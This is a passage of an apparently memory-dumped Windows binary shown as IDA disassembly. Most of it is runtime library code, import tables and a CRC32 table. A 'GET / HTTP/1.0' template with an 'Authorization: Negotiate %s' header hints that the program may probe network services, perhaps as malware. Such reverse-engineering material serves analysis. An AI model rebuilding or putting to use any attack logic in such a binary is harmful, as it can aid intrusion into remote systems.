0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A40 proc near nop jmp near ptr 71B2ACCBh sub_422A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p nop jmp near ptr 71AB1B7Bh sub_422A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p nop jmp near ptr 27F0000h sub_422A4C endp ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4CDA48, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2860000h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_4CDA48, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4CDA48 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4CDCA4, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi nop call near ptr 2880000h test eax, eax jz short loc_422CCC mov dword_4CDCA4, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_436EF4 push edi push esi nop call near ptr 2870000h test eax, eax jz loc_422E6D mov dword_4CDCA4, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_4CDCA4 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2880000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27B0000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27B0000h test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2870000h nop mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2630000h mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_433C74 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDCA8 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25E0766h test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push edi nop call near ptr 25F0000h test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_4CDCA8, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0766h jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27B0000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27B0000h nop test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_4CDA48 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 25F0000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 25B0000h, 25B01CBh, 25C0000h, 25C0620h, 25D0000h, 25D0972h dd 25D0A02h, 25D0F0Eh, 25E0000h, 25E04E3h, 25E0766h, 25F0000h dd 2600000h, 260082Fh, 2600A4Ah dword_42403C dd 2600A86h ; DATA XREF: ___:0041F496r dd 2600B34h, 2600E36h, 2600E80h, 2610000h, 2610333h, 2610356h dword_424058 dd 2610765h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 26107FCh, 2610AEBh dword_424064 dd 2610F93h ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 2620000h, 2620444h dword_424070 dd 2630000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 263108Bh ; DATA XREF: sub_4168E9+Br dword_424078 dd 2631A0Bh ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2640000h, 2650000h dword_424084 dd 26507E6h ; DATA XREF: sub_40AB7C+36r dd 2650A74h dword_42408C dd 2650B3Dh ; DATA XREF: sub_4168E9:loc_41697Ar dd 2650BB5h, 2660000h, 2670000h, 2680000h dword_4240A0 dd 2680C08h ; DATA XREF: sub_4165C6+32r dd 2690000h, 26902BBh, 26903B3h, 26A0000h, 26A0667h, 26B0000h dword_4240BC dd 26C0000h ; DATA XREF: sub_408EE5+26r dd 26D0000h, 77F7E300h, 77F7E21Fh, 26D0C01h, 26E0000h dd 26E07A1h dword_4240D8 dd 26E0A13h ; DATA XREF: sub_409037+BCr dword_4240DC dd 26F0000h ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 26F07BDh ; DATA XREF: sub_40981F:loc_409D0Fr dd 2700000h dword_4240E8 dd 2710000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 2710A68h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 2710AB3h dword_4240F4 dd 2720000h ; DATA XREF: sub_409392+56r dd 2720282h, 2720696h dword_424100 dd 2720C42h ; DATA XREF: sub_40981F+2r dd 2730000h, 273108Eh, 2731628h, 2740000h, 2740389h, 2740911h dd 2750000h, 27505A0h, 2760000h, 2770000h, 2770113h, 2780000h dd 2780459h, 27806D5h dword_42413C dd 2780CF5h ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 2790000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 2791559h, 27A0000h, 77E75CB5h dword_424150 dd 27B0000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27C0000h, 27C0D8Bh, 27C0E86h dword_424160 dd 27D0000h ; DATA XREF: ___:loc_40E864r dd 27D03A3h dword_424168 dd 27D08F1h ; DATA XREF: sub_4165C6:loc_4166B2r dd 27D0A0Dh, 27D0A9Dh, 27D0BB9h, 27E0000h, 27E064Ah, 27E0957h dd 27E0A0Ch, 27F0000h, 2800000h, 2810000h, 2820000h, 2830000h dd 2831ACCh, 2831ADEh, 2840000h, 2840E1Ch, 2850000h dword_4241B0 dd 28506F0h ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 2850842h ; DATA XREF: sub_41B888:loc_41B8B9r dd 28509D2h, 2860000h, 286051Bh, 2870000h, 2880000h, 2881305h dd 2881B00h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 